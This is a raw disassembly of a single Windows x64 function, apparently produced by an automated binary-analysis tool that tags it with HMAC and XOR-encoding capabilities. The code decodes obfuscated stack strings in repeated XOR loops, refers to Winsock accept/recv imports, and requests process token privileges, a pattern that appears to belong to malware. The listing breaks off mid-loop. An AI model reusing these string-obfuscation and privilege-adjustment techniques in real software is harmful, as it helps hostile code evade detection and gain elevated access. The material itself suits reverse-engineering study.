Function at 0x1400311b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x458]
sub rsp, 0x530
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1408f0280]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov r13, rcx
xor ebx, ebx
call fcn.1400389c0
call fcn.14003fe70
lea rcx, [r13 + 0x1a8]
cmp qword [rcx + 0x18], 0xf
jbe 0x14003120b
mov rcx, qword [rcx]
xor edx, edx
call rax
mov edi, dword [reloc.WS2_32.dll_accept]
test rax, rax
je 0x14003184f
mov byte [0x140919288], 1
movups xmm0, xmmword [0x1408d0f50]
movups xmmword [rbp + 0x180], xmm0
movsd xmm0, qword [0x1408d0f60]
movsd qword [rbp + 0x190], xmm0
mov eax, dword [0x1408d0f68]
mov dword [rbp + 0x198], eax
movzx eax, word [0x1408d0f6c]
mov word [rbp + 0x19c], ax
movzx eax, byte [0x1408d0f6e]
mov byte [rbp + 0x19e], al
mov eax, dword [0x1408d1450]
mov dword [rbp + 0x80], eax
movzx eax, word [0x1408d1454]
mov word [rbp + 0x84], ax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
mov r8d, ebx
cmp edi, 2
jl 0x1400313e5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0x184]
mov edx, dword [rbp + 0x2b0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400312e0
cmp r8d, 0x1f
jge 0x140031430
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140031400
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
lea rax, [rbp + 0x180]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x140031453
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x130]
call fcn.140012170
nop
lea rdx, [r13 + 0x168]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140031485
mov rdx, qword [rdx]
lea rcx, [rbp + 0x130]
call fcn.140013eb0
movzx eax, byte [rbp + 0x85]
test al, al
je 0x1400314c7
xor byte [rbp + 0x80], 0x33
xor byte [rbp + 0x81], 0x34
xor byte [rbp + 0x82], 0x35
xor byte [rbp + 0x83], 0x36
xor byte [rbp + 0x84], 0x37
xor al, 0x38
mov byte [rbp + 0x85], al
lea rax, [rbp + 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400314d5
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x130]
call fcn.140013eb0
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140031650
cmp edi, 2
jl 0x140031614
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140031650
lea r9, [rbp + 0x90]
mov r8d, ebx
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031620
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rdx, qword [rbp + 0x130]
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
xor ecx, ecx
call r10
cmp byte [rbp + 0x97], 0
jne 0x1400317d0
cmp edi, 2
jl 0x140031793
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x1400317d0
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400317a0
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x1400317fd
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x14003184f
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003184a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400361ac
call fcn.140117d3c
call fcn.14004d880
test al, al
je 0x140031f2d
mov byte [0x140919288], 1
movups xmm0, xmmword [0x1408d1630]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d1640]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d1650]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d1660]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d1670]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d1680]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d1688]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140031a30
cmp edi, 2
jl 0x1400319f5
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140031a30
lea r9, [rbp + 0x90]
mov r8d, ebx
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031a00
cmp byte [rbp + 0x12b], 0
je 0x140031bd0
mov r8d, ebx
cmp edi, 2
jl 0x140031b85
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140031a80
cmp r8d, 0x5c
jge 0x140031bd0
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140031ba0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x12b], 0
jne 0x140031d90
mov r8d, ebx
cmp edi, 2
jl 0x140031d45
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140031c40
cmp r8d, 0x5c
jge 0x140031d90
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140031d60
cmp byte [rbp + 0x97], 0
jne 0x140031ef0
cmp edi, 2
jl 0x140031eaa
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140031ef0
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031ec0
call fcn.14003d060
mov rsi, rax
movzx ecx, word [0x1408d0cfc]
mov word [rbp + 0x80], cx
cmp byte [0x1408d0cfd], 0
je 0x140031f1d
mov byte [rbp + 0x80], Ordinal_50
xor byte [rbp + 0x81], 0x34
lea rcx, [rbp + 0x80]
call fcn.140132c5c
mov ecx, eax
call rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rax
movabs rax, 0x6a80d457b7753c9d
mov qword [rbp + 0x2d0], rax
movabs rax, 0x3374e4025e5f56e6
mov qword [rbp + 0x2d8], rax
movabs rax, 0x7e2ea3ed8b91ad6f
mov qword [rbp + 0x2e0], rax
movabs rax, 0x688749d00d316988
mov qword [rbp + 0x2e8], rax
movabs rax, 0x20c9ce736c7488e1
mov qword [rbp + 0x2f0], rax
movabs rax, 0xa7f79c1e0d8fe80a
mov qword [rbp + 0x2f8], rax
movabs rax, 0x6aefd41bb7103cce
mov qword [rsp + 0x40], rax
movabs rax, 0x3306e4465e3b5687
mov qword [rsp + 0x48], rax
movabs rax, 0x7e5ca3888be7ad06
mov qword [rsp + 0x50], rax
movabs rax, 0x68f149b90d4369d8
mov qword [rsp + 0x58], rax
movabs rax, 0x20aece166c188888
mov qword [rsp + 0x60], rax
movabs rax, 0xa7f79c1e0d8fe86f
mov qword [rsp + 0x68], rax
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movups xmm3, xmmword [rsp + 0x60]
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmm1
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [rbp + 0x2e0]
xorps xmm1, xmm2
movdqa xmmword [rbp + 0x190], xmm1
xorps xmm3, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x1a0], xmm3
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
lea rax, [rbp + 0x180]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140032075
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x130]
call fcn.140011070
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x1b0]
call fcn.14001e950
mov qword [rbp + 0x1d0], 0xffffffffffffffff
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 7
cmova rdx, qword [rbp + 0x1b0]
lea r8, [rbp + 0x1dc]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x14003211f
lea r8, [rbp + 0x1d0]
mov edx, Ordinal_41
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14003211f
lea r9, [rbp + 0x1d0]
lea edx, [rax + 0x28]
mov rcx, 0xfffffffffffffffe
lea r8d, [rax + 1]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 7
jbe 0x140032165
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032160
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003623c
call fcn.140117d3c
cmp qword [rbp + 0x1c0], 0
je 0x140032186
mov rcx, qword [rbp + 0x1d0]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140032864
mov byte [0x140919288], 1
movups xmm0, xmmword [0x1408d0ef0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408d0f00]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x1408d0f10]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x1408d0f20]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x1408d0f30]
movups xmmword [rbp + 0x110], xmm0
movsd xmm0, qword [0x1408d0f40]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [0x1408d0f48]
mov dword [rbp + 0x128], eax
mov rax, qword [str._U_RUWA:_U_RUWA]
mov qword [rbp + 0x90], rax
call fcn.1400402a0
mov r10, rax
cmp byte [rbp + 0x97], 0
je 0x140032360
cmp edi, 2
jl 0x14003231f
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm2, xmmword [0x1408d3b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
mov eax, dword [0x1408d3c70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x1408d3b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1408d3bc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140032360
lea r9, [rbp + 0x90]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140032330
cmp byte [rbp + 0x12b], 0
je 0x140032500
mov r8d, ebx
cmp edi, 2
jl 0x1400324b5
movdqa xmm5, xmmword [0x1408d3b80]
movdqa xmm4, xmmword [0x1408d3ca0]
movdqa xmm6, xmmword [0x1408d3bc0]
movdqa xmm0, xmmword [0x1408d3c70]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rbp + 0x2b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1408d3c30]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400323b0
cmp r8d, 0x5c
jge 0x140032500
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
